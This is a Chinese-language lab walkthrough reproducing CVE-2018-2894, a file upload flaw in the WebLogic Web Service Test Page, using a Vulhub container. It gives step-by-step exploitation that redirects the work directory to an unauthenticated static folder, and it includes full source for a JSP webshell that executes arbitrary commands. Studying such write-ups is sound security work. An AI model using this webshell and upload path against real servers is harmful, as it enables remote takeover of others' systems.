漏洞条件
- 开启了Weblogic Web Service Test Page,此配置项默认是关闭的;
- 知道Web目录路径;
- Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3。
漏洞原理
Weblogic Web Service Test Page中存在任意文件上传漏洞,攻击者可上传任意jsp文件来getshell。
搭建环境
直接用Vulhub:https://vulhub.org/#/environments/weblogic/CVE-2018-2894/ 起服务
然后需要用管理员身份去开启Weblogic Web Service Test Page:
- 访问
http://ip:7001/console
进入到登录界面。
- 执行
docker-compose logs | grep password
可查看管理员密码:
可以看到管理员用户名为weblogic
,密码为 9UfRS32U
- 使用该密码登录到后台,登录上去之后,点击base_domain,在”配置”->”一般信息”->”高级”中开启”启用 Web 服务测试页”选项:
保存后注销退出,此时环境已经配置好了。
漏洞利用
访问http://ip:7001/ws_utc/config.do
页面,即Web服务测试页,设置Work Home Dir即当前的工作目录为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
,即将目录设置为ws-utc应用的静态css文件目录,因为该目录是无需权限的:
然后点击安全 -> 增加,然后上传webshell:
<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
此时可以从返回的前端页面中获取文件的id,该id是时间戳,而实际上保存在服务器中的文件名为:时间戳_文件名
:
访问路径,是存在的:http://ip:7001/ws_utc/css/config/keystore/1655905868388_shell.jsp
最后,经测试以下几个静态目录都是可行的:
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/js
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/images
但是js目录是能够上传,但是在未登陆的情况下无法利用,会跳转到登陆页面。